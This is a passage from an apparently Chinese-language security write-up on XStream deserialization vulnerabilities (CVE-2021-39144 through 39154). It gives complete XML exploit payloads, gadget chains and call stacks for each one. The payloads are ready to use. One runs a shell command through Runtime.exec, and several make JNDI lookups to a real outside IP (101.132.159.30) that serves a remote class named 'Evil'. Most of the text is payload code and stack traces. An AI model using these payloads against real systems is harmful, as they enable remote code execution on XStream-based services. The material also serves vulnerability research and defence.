</getters>
<accessors>
<com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2>
<val_-isJAXBElement>false</val_-isJAXBElement>
<val_-getter class="com.sun.xml.internal.ws.spi.db.MethodGetter">
<method reference="../../../../../../method"/>
</val_-getter>
<val_-isListType>false</val_-isListType>
<val_-n>
<namespaceURI>diggid</namespaceURI>
<localPart>diggid</localPart>
<prefix></prefix>
</val_-n>
<val_-setter class="com.sun.xml.internal.ws.spi.db.MethodSetter">
<type>java.lang.Object</type>
<method reference="../../../../../../method"/>
</val_-setter>
<outer-class>
<propertySetters>
<entry>
<javax.xml.namespace.QName>
<namespaceURI>diggid</namespaceURI>
<localPart>diggid</localPart>
<prefix></prefix>
</javax.xml.namespace.QName>
<com.sun.xml.internal.ws.spi.db.MethodSetter reference="../../../../val_-setter"/>
</entry>
</propertySetters>
<propertyGetters>
<entry>
<javax.xml.namespace.QName reference="../../../propertySetters/entry/javax.xml.namespace.QName"/>
<com.sun.xml.internal.ws.spi.db.MethodGetter reference="../../../../val_-getter"/>
</entry>
</propertyGetters>
<elementLocalNameCollision>true</elementLocalNameCollision>
</outer-class>
</com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2>
</accessors>
<wrapper>java.lang.Object</wrapper>
<bindingContext class="com.sun.xml.internal.ws.db.glassfish.JAXBRIContextWrapper"/>
<dynamicWrapper>false</dynamicWrapper>
</bodyBuilder>
<isOneWay>false</isOneWay>
</com.sun.xml.internal.ws.client.sei.StubHandler>
</entry>
</stubHandlers>
<clientConfig>false</clientConfig>
</databinding>
<methodHandlers>
<entry>
<method>
<class>java.lang.Comparable</class>
<name>compareTo</name>
<parameter-types>
<class>java.lang.Object</class>
</parameter-types>
</method>
<com.sun.xml.internal.ws.client.sei.SyncMethodHandler>
<owner reference="../../../.."/>
<method reference="../../../../databinding/stubHandlers/entry/method"/>
<isVoid>false</isVoid>
<isOneway>false</isOneway>
</com.sun.xml.internal.ws.client.sei.SyncMethodHandler>
</entry>
</methodHandlers>
</handler>
</dynamic-proxy>
<string>ldap://101.132.159.30:1389/Evil</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>

分析

  • 链子
1
2
3
4
5
6
7
8
9
10
java.util.PriorityQueue#readObject() -> 没设置comparator的
com.sun.proxy$Proxy0#compareTo()
com.sun.xml.internal.ws.client.sei.SEIStub#invoke() -> method不可控,继续找其他的
com.sun.xml.internal.ws.client.sei.SyncMethodHandler#invoke()
com.sun.xml.internal.ws.db.DatabindingImpl#serializeRequest()
com.sun.xml.internal.ws.client.sei.StubHandler#createRequestPacket
com.sun.xml.internal.ws.client.sei.BodyBuilder$DocLit#createMessage()
com.sun.xml.internal.ws.client.sei.BodyBuilder$DocLit#build()
com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor$2#set() -> PropertyAccessor
com.sun.xml.internal.ws.spi.db.MethodSetter#set() -> this.method.invoke(instance, args);
  • 调用栈
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
run:73, MethodSetter$1 (com.sun.xml.internal.ws.spi.db)
doPrivileged:-1, AccessController (java.security)
set:67, MethodSetter (com.sun.xml.internal.ws.spi.db)
set:260, JAXBWrapperAccessor$2 (com.sun.xml.internal.ws.spi.db)
build:249, BodyBuilder$DocLit (com.sun.xml.internal.ws.client.sei)
createMessage:88, BodyBuilder$JAXB (com.sun.xml.internal.ws.client.sei)
createRequestPacket:217, StubHandler (com.sun.xml.internal.ws.client.sei)
serializeRequest:204, DatabindingImpl (com.sun.xml.internal.ws.db)
serializeRequest:69, DatabindingImpl (com.sun.xml.internal.ws.db)
invoke:91, SyncMethodHandler (com.sun.xml.internal.ws.client.sei)
invoke:77, SyncMethodHandler (com.sun.xml.internal.ws.client.sei)
invoke:147, SEIStub (com.sun.xml.internal.ws.client.sei)
compareTo:-1, $Proxy0 (com.sun.proxy)
siftDownComparable:703, PriorityQueue (java.util)
siftDown:689, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:795, PriorityQueue (java.util)

特征:

  • Source:PriorityQueue不带comparator

  • dynamic-proxy,触发proxy.compareTo

    • 代理接口:java.lang.Comparable或其他具有compareTo方法的接口
    • Handler: com.sun.xml.internal.ws.client.sei.SEIStub
  • com.sun.xml.internal.ws.client.sei.SyncMethodHandler#invoke用于跳板,解决SEIStub#invoke的参数不可控问题,其中JavaCallInfo call可封装method及参数,会一直传递参数到Sink点

  • com.sun.xml.internal.ws.client.sei.BodyBuilder$DocLit#build处,传递到Sink的bean -> instance是不可控的

image-20210830140350798

  • Sink:com.sun.xml.internal.ws.spi.db.MethodSetter#set -> this.method.invoke(instance, args)
    • this.method、args可控,但instance不可控
    • 可调用任意static带参
  • 触发点:
    • InitialContext#doLookup -> Jndi注入
    • jdk.nashorn.internal.runtime.Source#readFully -> SSRF

CVE-2021-39144

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<java.util.PriorityQueue serialization="custom">
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
</default>
<int>3</int>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="sun.tracing.NullProvider">
<active>true</active>
<providerType>java.lang.Comparable</providerType>
<probes>
<entry>
<method>
<class>java.lang.Comparable</class>
<name>compareTo</name>
<parameter-types>
<class>java.lang.Object</class>
</parameter-types>
</method>
<sun.tracing.dtrace.DTraceProbe>
<proxy class="java.lang.Runtime"/>
<implementing__method>
<class>java.lang.Runtime</class>
<name>exec</name>
<parameter-types>
<class>[Ljava.lang.String;</class>
</parameter-types>
</implementing__method>
</sun.tracing.dtrace.DTraceProbe>
</entry>
</probes>
</handler>
</dynamic-proxy>
<string-array>
<string>/bin/bash</string>
<string>-c</string>
<string>open /System/Applications/Calculator.app</string>
</string-array>
</java.util.PriorityQueue>
</java.util.PriorityQueue>

分析

  • 链子
1
2
3
4
5
java.util.PriorityQueue#readObject() -> 没设置comparator的
com.sun.proxy$Proxy0#compareTo()
sun.tracing.ProviderSkeleton#invoke()
sun.tracing.ProviderSkeleton#triggerProbe
sun.tracing.dtrace.DTraceProbe#uncheckedTrigger() -> this.implementing_method.invoke(this.proxy, var1)
  • 调用栈
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
uncheckedTrigger:58, DTraceProbe (sun.tracing.dtrace) -> this.implementing_method.invoke(this.proxy, var1)
triggerProbe:269, ProviderSkeleton (sun.tracing)
invoke:178, ProviderSkeleton (sun.tracing)
compareTo:-1, $Proxy0 (com.sun.proxy)
siftDownComparable:703, PriorityQueue (java.util)
siftDown:689, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:795, PriorityQueue (java.util)

invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
callReadObject:132, SerializationMembers (com.thoughtworks.xstream.core.util)
doUnmarshal:443, SerializableConverter (com.thoughtworks.xstream.converters.reflection)

特征:

  • Source:PriorityQueue不带comparator
  • dynamic-proxy,触发proxy.compareTo
    • 代理接口:java.lang.Comparable或其他具有compareTo方法的接口
    • Handler: sun.tracing.ProviderSkeleton
  • Sink:sun.tracing.dtrace.DTraceProbe#uncheckedTrigger() -> this.implementing_method.invoke(this.proxy, var1)
    • method可控:成员变量
    • var1可控:PQ的元素,从compareTo()方法传下来
    • this.proxy可控
    • 可调用任意类任意方法
  • 触发点:
    • ProcessBuider#start
    • TemplatesImpl#getOutputProperties

CVE-2021-39145 & 39147

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
<java.util.PriorityQueue serialization="custom">
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
</default>
<int>3</int>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>xxx</type>
<value class="com.sun.org.apache.xpath.internal.objects.XString"/>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>xxx</type>
<value class="com.sun.xml.internal.ws.api.message.Packet">
<message class="com.sun.xml.internal.ws.api.message.MessageWrapper">
<delegate class="com.sun.xml.internal.ws.message.saaj.SAAJMessage">
<parsedMessage>true</parsedMessage>
<accessedMessage>false</accessedMessage>
<sm class="com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl">
<attachments serialization="custom">
<unserializable-parents/>
<list>
<default>
<size>0</size>
</default>
<int>0</int>
</list>
</attachments>
<saved>false</saved>
<messageByteCount>0</messageByteCount>
<multiPart class="com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart">
<parsed>false</parsed>
<mm>
<it class="com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator">
<aliases class="com.sun.jndi.ldap.LdapBindingEnumeration">
<cleaned>false</cleaned>
<entries>
<com.sun.jndi.ldap.LdapEntry>
<DN>any</DN>
<attributes class="javax.naming.directory.BasicAttributes" serialization="custom">
<javax.naming.directory.BasicAttributes>
<default>
<ignoreCase>false</ignoreCase>
</default>
<int>4</int>
<javax.naming.directory.BasicAttribute serialization="custom">
<javax.naming.directory.BasicAttribute>
<default>
<ordered>false</ordered>
<attrID>objectClass</attrID>
</default>
<int>1</int>
<string>javanamingreference</string>
</javax.naming.directory.BasicAttribute>
</javax.naming.directory.BasicAttribute>
<javax.naming.directory.BasicAttribute serialization="custom">
<javax.naming.directory.BasicAttribute>
<default>
<ordered>false</ordered>
<attrID>javaCodeBase</attrID>
</default>
<int>1</int>
<string>http://101.132.159.30:7777/</string>
</javax.naming.directory.BasicAttribute>
</javax.naming.directory.BasicAttribute>
<javax.naming.directory.BasicAttribute serialization="custom">
<javax.naming.directory.BasicAttribute>
<default>
<ordered>false</ordered>
<attrID>javaClassName</attrID>
</default>
<int>1</int>
<string>any</string>
</javax.naming.directory.BasicAttribute>
</javax.naming.directory.BasicAttribute>
<javax.naming.directory.BasicAttribute serialization="custom">
<javax.naming.directory.BasicAttribute>
<default>
<ordered>false</ordered>
<attrID>javaFactory</attrID>
</default>
<int>1</int>
<string>Evil</string>
</javax.naming.directory.BasicAttribute>
</javax.naming.directory.BasicAttribute>
</javax.naming.directory.BasicAttributes>
</attributes>
</com.sun.jndi.ldap.LdapEntry>
</entries>
<limit>1</limit>
<posn>0</posn>
<homeCtx>
<__contextType>0</__contextType>
<port__number>0</port__number>
<handleReferrals>0</handleReferrals>
<hasLdapsScheme>false</hasLdapsScheme>
<netscapeSchemaBug>false</netscapeSchemaBug>
<referralHopLimit>0</referralHopLimit>
<batchSize>0</batchSize>
<deleteRDN>false</deleteRDN>
<typesOnly>false</typesOnly>
<derefAliases>0</derefAliases>
<addrEncodingSeparator></addrEncodingSeparator>
<connectTimeout>0</connectTimeout>
<readTimeout>0</readTimeout>
<waitForReply>false</waitForReply>
<replyQueueSize>0</replyQueueSize>
<useSsl>false</useSsl>
<useDefaultPortNumber>false</useDefaultPortNumber>
<parentIsLdapCtx>false</parentIsLdapCtx>
<hopCount>0</hopCount>
<unsolicited>false</unsolicited>
<sharable>false</sharable>
<enumCount>0</enumCount>
<closeRequested>false</closeRequested>
</homeCtx>
<more>true</more>
<hasMoreCalled>true</hasMoreCalled>
</aliases>
</it>
<parsed>false</parsed>
<currentIndex>0</currentIndex>
</mm>
<soapPart>
<parsed>false</parsed>
</soapPart>
</multiPart>
<attachmentsInitialized>false</attachmentsInitialized>
<isFastInfoset>false</isFastInfoset>
<acceptFastInfoset>false</acceptFastInfoset>
<optimizeAttachmentProcessing>false</optimizeAttachmentProcessing>
<lazyAttachments>false</lazyAttachments>
</sm>
<bodyParts/>
<soapVersion>SOAP_11</soapVersion>
</delegate>
</message>
<wasTransportSecure>false</wasTransportSecure>
<isAdapterDeliversNonAnonymousResponse>false</isAdapterDeliversNonAnonymousResponse>
<packetTakesPriorityOverRequestContext>false</packetTakesPriorityOverRequestContext>
<isFastInfosetDisabled>false</isFastInfosetDisabled>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</java.util.PriorityQueue>
</java.util.PriorityQueue>

分析

  • 链子
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
java.util.PriorityQueue#readObject() -> 没设置comparator的
javax.naming.ldap.Rdn$RdnEntry#compareTo()
com.sun.org.apache.xpath.internal.objects.XString#equals()
com.sun.xml.internal.ws.api.message.Packet#toString()
com.sun.xml.internal.ws.api.message.MessageWrapper#copy()
com.sun.xml.internal.ws.message.saaj.SAAJMessage#copy()
com.sun.xml.internal.ws.message.saaj.SAAJMessage#getAttachments
com.sun.xml.internal.ws.message.saaj.SAAJMessage$SAAJAttachmentSet#SAAJAttachmentSet
com.sun.xml.internal.messaging.saaj.soap.MessageImpl#getAttachments()
com.sun.xml.internal.messaging.saaj.soap.MessageImpl#initializeAllAttachments
com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimeMultipart#getCount()
com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart#parse
com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart#parseAll
com.sun.xml.internal.org.jvnet.mimepull.MIMEMessage#getAttachments()
com.sun.xml.internal.org.jvnet.mimepull.MIMEMessage#parseAll
com.sun.xml.internal.org.jvnet.mimepull.MIMEMessage#makeProgress
KeyStoreIterator#hasNext()
KeyStoreIterator#findNextCert
com.sun.jndi.ldap.AbstractLdapNamingEnumeration#nextElement()
com.sun.jndi.ldap.AbstractLdapNamingEnumeration#next
com.sun.jndi.ldap.AbstractLdapNamingEnumeration#nextImpl
com.sun.jndi.ldap.AbstractLdapNamingEnumeration#nextAux
com.sun.jndi.ldap.LdapBindingEnumeration#createItem()
javax.naming.spi.DirectoryManager#getObjectInstance() -> Evil.getObjectInstance()
  • 调用栈
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
getObjectInstance:189, DirectoryManager (javax.naming.spi)
createItem:81, LdapBindingEnumeration (com.sun.jndi.ldap)
createItem:40, LdapBindingEnumeration (com.sun.jndi.ldap)
nextAux:269, AbstractLdapNamingEnumeration (com.sun.jndi.ldap)
nextImpl:249, AbstractLdapNamingEnumeration (com.sun.jndi.ldap)
next:203, AbstractLdapNamingEnumeration (com.sun.jndi.ldap)
nextElement:106, AbstractLdapNamingEnumeration (com.sun.jndi.ldap)
nextElement:40, AbstractLdapNamingEnumeration (com.sun.jndi.ldap)
findNextCert:137, KeyStoreResolver$KeyStoreIterator (com.sun.org.apache.xml.internal.security.keys.storage.implementations)
hasNext:104, KeyStoreResolver$KeyStoreIterator (com.sun.org.apache.xml.internal.security.keys.storage.implementations)
makeProgress:180, MIMEMessage (com.sun.xml.internal.org.jvnet.mimepull)
parseAll:167, MIMEMessage (com.sun.xml.internal.org.jvnet.mimepull)
getAttachments:92, MIMEMessage (com.sun.xml.internal.org.jvnet.mimepull)
parseAll:107, MimePullMultipart (com.sun.xml.internal.messaging.saaj.packaging.mime.internet)
parse:118, MimePullMultipart (com.sun.xml.internal.messaging.saaj.packaging.mime.internet)
getCount:195, MimeMultipart (com.sun.xml.internal.messaging.saaj.packaging.mime.internet)
initializeAllAttachments:1379, MessageImpl (com.sun.xml.internal.messaging.saaj.soap)
getAttachments:819, MessageImpl (com.sun.xml.internal.messaging.saaj.soap)
<init>:650, SAAJMessage$SAAJAttachmentSet (com.sun.xml.internal.ws.message.saaj)
getAttachments:178, SAAJMessage (com.sun.xml.internal.ws.message.saaj)
copy:506, SAAJMessage (com.sun.xml.internal.ws.message.saaj)
copy:217, MessageWrapper (com.sun.xml.internal.ws.api.message)
toString:1093, Packet (com.sun.xml.internal.ws.api.message)
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
compareTo:441, Rdn$RdnEntry (javax.naming.ldap)
compareTo:420, Rdn$RdnEntry (javax.naming.ldap)
siftDownComparable:703, PriorityQueue (java.util)
siftDown:689, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:795, PriorityQueue (java.util)

特征:

  • Source:PriorityQueue不带comparator
  • toString链:
    • 先调用javax.naming.ldap.Rdn$RdnEntry#compareTo(XString)
    • 再调用com.sun.org.apache.xpath.internal.objects.XString#equals(),其中可调用任意类toString()方法
    • com.sun.xml.internal.ws.api.message.Packet#toString()
  • nextElement链:
    • 开始:com.sun.xml.internal.ws.api.message.Packet#toString()
    • 结尾:KeyStoreIterator#findNextCert(),之后即可链接2020系列jndi注入的AbstractLdapNamingEnumeration#nextElement部分
  • Sink:com.sun.jndi.ldap.LdapBindingEnumeration#createItem()
    • 这个Sink点和LdapCtx#c_lookup很像
    • javax.naming.spi.DirectoryManager#getObjectInstance() -> Jndi注入

CVE-2021-39146 & 39154

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<java.util.PriorityQueue serialization="custom">
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
</default>
<int>3</int>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>xxx</type>
<value class="com.sun.org.apache.xpath.internal.objects.XString"/>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>xxx</type>
<value class="javax.swing.MultiUIDefaults" serialization="custom">
<unserializable-parents/>
<hashtable>
<default>
<loadFactor>0.75</loadFactor>
<threshold>525</threshold>
</default>
<int>700</int>
<int>0</int>
</hashtable>
<javax.swing.UIDefaults>
<default>
<defaultLocale>zh_CN</defaultLocale>
<resourceCache/>
</default>
</javax.swing.UIDefaults>
<javax.swing.MultiUIDefaults>
<default>
<tables>
<javax.swing.UIDefaults serialization="custom">
<unserializable-parents/>
<hashtable>
<default>
<loadFactor>0.75</loadFactor>
<threshold>525</threshold>
</default>
<int>700</int>
<int>1</int>
<string>diggid</string>
<javax.swing.UIDefaults_-ProxyLazyValue>
<className>javax.naming.InitialContext</className>
<methodName>doLookup</methodName>
<args>
<string>ldap://101.132.159.30:1389/Evil</string>
</args>
</javax.swing.UIDefaults_-ProxyLazyValue>
</hashtable>
<javax.swing.UIDefaults>
<default>
<defaultLocale reference="../../../../../../../javax.swing.UIDefaults/default/defaultLocale"/>
<resourceCache/>
</default>
</javax.swing.UIDefaults>
</javax.swing.UIDefaults>
</tables>
</default>
</javax.swing.MultiUIDefaults>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</java.util.PriorityQueue>
</java.util.PriorityQueue>

分析

  • 链子
1
2
3
4
5
6
7
8
9
java.util.PriorityQueue#readObject() -> 没设置comparator的
javax.naming.ldap.Rdn$RdnEntry#compareTo()
com.sun.org.apache.xpath.internal.objects.XString#equals()
javax.swing.MultiUIDefaults#toString()
javax.swing.MultiUIDefaults#get
javax.swing.UIDefaults#get()
javax.swing.UIDefaults#getFromHashtable
javax.swing.UIDefaults.ProxyLazyValue#createValue()
-> MethodUtil.invoke(Method, Class, args);只能调用static public
  • 调用栈
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
doLookup:290, InitialContext (javax.naming)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:71, Trampoline (sun.reflect.misc)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:275, MethodUtil (sun.reflect.misc)
run:1107, UIDefaults$ProxyLazyValue$1 (javax.swing)
doPrivileged:-1, AccessController (java.security)
createValue:1086, UIDefaults$ProxyLazyValue (javax.swing)
getFromHashtable:216, UIDefaults (javax.swing)
get:161, UIDefaults (javax.swing)
get:64, MultiUIDefaults (javax.swing)
toString:197, MultiUIDefaults (javax.swing)
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
compareTo:441, Rdn$RdnEntry (javax.naming.ldap)
compareTo:420, Rdn$RdnEntry (javax.naming.ldap)
siftDownComparable:703, PriorityQueue (java.util)
siftDown:689, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:795, PriorityQueue (java.util)

特征:

  • Source:PriorityQueue不带comparator。PQ也可以换成TreeMap。但PQ看起来比较整洁

  • toString链:

    • 先调用javax.naming.ldap.Rdn$RdnEntry#compareTo(XString)
    • 再调用com.sun.org.apache.xpath.internal.objects.XString#equals(),其中可调用任意类toString()方法
    • javax.swing.MultiUIDefaults#toString()
  • Sink:javax.swing.UIDefaults.ProxyLazyValue#createValue() -> MethodUtil.invoke(Method, Class, args);

    • method:可控,但没有setAccessible
    • Class:可控,但注意这里是Class类而不是Object,所以只能调用static

    image-20210824174313288

    • args可控
    • 可调用任意public static,和前面39141一样

CVE-2021-39148

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
<java.util.PriorityQueue serialization="custom">
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
</default>
<int>3</int>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>xxx</type>
<value class="com.sun.org.apache.xpath.internal.objects.XString"/>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>xxx</type>
<value class="com.sun.xml.internal.ws.api.message.Packet">
<message class="com.sun.xml.internal.ws.api.message.MessageWrapper">
<delegate class="com.sun.xml.internal.ws.message.saaj.SAAJMessage">
<parsedMessage>true</parsedMessage>
<accessedMessage>false</accessedMessage>
<sm class="com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl">
<attachments serialization="custom">
<unserializable-parents/>
<list>
<default>
<size>0</size>
</default>
<int>0</int>
</list>
</attachments>
<saved>false</saved>
<messageByteCount>0</messageByteCount>
<multiPart class="com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart">
<parsed>false</parsed>
<mm>
<it class="com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator">
<aliases class="com.sun.jndi.toolkit.dir.ContextEnumerator">
<children class="javax.naming.directory.BasicAttribute$ValuesEnumImpl">
<list class="com.sun.xml.internal.dtdparser.SimpleHashtable">
<current>
<hash>0</hash>
<key class="javax.naming.Binding">
<isRel>false</isRel>
<boundObj class="com.sun.jndi.ldap.LdapReferralContext">
<refCtx class="javax.naming.spi.ContinuationDirContext">
<cpe>
<resolvedObj class="javax.naming.Reference">
<className>any</className>
<addrs/>
<classFactory>Evil</classFactory>
<classFactoryLocation>http://101.132.159.30:7777/</classFactoryLocation>
</resolvedObj>
</cpe>
</refCtx>
<skipThisReferral>false</skipThisReferral>
<hopCount>0</hopCount>
</boundObj>
</key>
</current>
<currentBucket>0</currentBucket>
<count>0</count>
<threshold>0</threshold>
</list>
</children>
<currentReturned>true</currentReturned>
<currentChildEnum>
<currentReturned>false</currentReturned>
<currentChildExpanded>false</currentChildExpanded>
<rootProcessed>false</rootProcessed>
<scope>0</scope>
</currentChildEnum>
<currentChildExpanded>false</currentChildExpanded>
<rootProcessed>true</rootProcessed>
<scope>2</scope>
</aliases>
</it>
<parsed>false</parsed>
<currentIndex>0</currentIndex>
</mm>
<soapPart>
<parsed>false</parsed>
</soapPart>
</multiPart>
<attachmentsInitialized>false</attachmentsInitialized>
<isFastInfoset>false</isFastInfoset>
<acceptFastInfoset>false</acceptFastInfoset>
<optimizeAttachmentProcessing>false</optimizeAttachmentProcessing>
<lazyAttachments>false</lazyAttachments>
</sm>
<bodyParts/>
<soapVersion>SOAP_11</soapVersion>
</delegate>
</message>
<wasTransportSecure>false</wasTransportSecure>
<isAdapterDeliversNonAnonymousResponse>false</isAdapterDeliversNonAnonymousResponse>
<packetTakesPriorityOverRequestContext>false</packetTakesPriorityOverRequestContext>
<isFastInfosetDisabled>false</isFastInfosetDisabled>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</java.util.PriorityQueue>
</java.util.PriorityQueue>

分析

Source部分触发toString链子统一换成了PriorityQueue,因为PQ比TreeMap(TreeSet)在生成链子时好写

  • 链子
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
java.util.PriorityQueue#readObject() -> 没设置comparator的
javax.naming.ldap.Rdn$RdnEntry#compareTo()
com.sun.org.apache.xpath.internal.objects.XString#equals()
com.sun.xml.internal.ws.api.message.Packet#toString()
com.sun.xml.internal.ws.api.message.MessageWrapper#copy()
com.sun.xml.internal.ws.message.saaj.SAAJMessage#copy()
com.sun.xml.internal.ws.message.saaj.SAAJMessage#getAttachments
com.sun.xml.internal.ws.message.saaj.SAAJMessage$SAAJAttachmentSet#SAAJAttachmentSet
com.sun.xml.internal.messaging.saaj.soap.MessageImpl#getAttachments()
com.sun.xml.internal.messaging.saaj.soap.MessageImpl#initializeAllAttachments
com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimeMultipart#getCount()
com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart#parse
com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart#parseAll
com.sun.xml.internal.org.jvnet.mimepull.MIMEMessage#getAttachments()
com.sun.xml.internal.org.jvnet.mimepull.MIMEMessage#parseAll
com.sun.xml.internal.org.jvnet.mimepull.MIMEMessage#makeProgress
KeyStoreIterator#hasNext()
KeyStoreIterator#findNextCert
com.sun.jndi.toolkit.dir.ContextEnumerator#nextElement()
com.sun.jndi.toolkit.dir.ContextEnumerator#next
com.sun.jndi.toolkit.dir.ContextEnumerator#getNextDescendant
com.sun.jndi.toolkit.dir.ContextEnumerator#prepNextChild
com.sun.jndi.toolkit.dir.ContextEnumerator#newEnumerator
com.sun.jndi.toolkit.dir.ContextEnumerator -> new ContextEnumerator()
com.sun.jndi.toolkit.dir.ContextEnumerator#getImmediateChildren
com.sun.jndi.ldap.LdapReferralContext#listBindings()
javax.naming.spi.ContinuationDirContext#listBindings()
javax.naming.spi.ContinuationDirContext#getTargetContext
javax.naming.spi.NamingManager#getContext()
javax.naming.spi.NamingManager#getObjectInstance -> Jndi注入的部分
  • 调用栈
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
getObjectInstance:319, NamingManager (javax.naming.spi)
getContext:439, NamingManager (javax.naming.spi)
getTargetContext:55, ContinuationContext (javax.naming.spi)
listBindings:125, ContinuationContext (javax.naming.spi)
listBindings:356, LdapReferralContext (com.sun.jndi.ldap)
listBindings:333, LdapReferralContext (com.sun.jndi.ldap)
getImmediateChildren:82, ContextEnumerator (com.sun.jndi.toolkit.dir)
<init>:70, ContextEnumerator (com.sun.jndi.toolkit.dir)
newEnumerator:88, ContextEnumerator (com.sun.jndi.toolkit.dir)
prepNextChild:223, ContextEnumerator (com.sun.jndi.toolkit.dir)
getNextDescendant:202, ContextEnumerator (com.sun.jndi.toolkit.dir)
next:120, ContextEnumerator (com.sun.jndi.toolkit.dir)
nextElement:106, ContextEnumerator (com.sun.jndi.toolkit.dir)
nextElement:36, ContextEnumerator (com.sun.jndi.toolkit.dir)
findNextCert:137, KeyStoreResolver$KeyStoreIterator (com.sun.org.apache.xml.internal.security.keys.storage.implementations)
hasNext:104, KeyStoreResolver$KeyStoreIterator (com.sun.org.apache.xml.internal.security.keys.storage.implementations)
makeProgress:180, MIMEMessage (com.sun.xml.internal.org.jvnet.mimepull)
parseAll:167, MIMEMessage (com.sun.xml.internal.org.jvnet.mimepull)
getAttachments:92, MIMEMessage (com.sun.xml.internal.org.jvnet.mimepull)
parseAll:107, MimePullMultipart (com.sun.xml.internal.messaging.saaj.packaging.mime.internet)
parse:118, MimePullMultipart (com.sun.xml.internal.messaging.saaj.packaging.mime.internet)
getCount:195, MimeMultipart (com.sun.xml.internal.messaging.saaj.packaging.mime.internet)
initializeAllAttachments:1379, MessageImpl (com.sun.xml.internal.messaging.saaj.soap)
getAttachments:819, MessageImpl (com.sun.xml.internal.messaging.saaj.soap)
<init>:650, SAAJMessage$SAAJAttachmentSet (com.sun.xml.internal.ws.message.saaj)
getAttachments:178, SAAJMessage (com.sun.xml.internal.ws.message.saaj)
copy:506, SAAJMessage (com.sun.xml.internal.ws.message.saaj)
copy:217, MessageWrapper (com.sun.xml.internal.ws.api.message)
toString:1093, Packet (com.sun.xml.internal.ws.api.message)
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
compareTo:441, Rdn$RdnEntry (javax.naming.ldap)
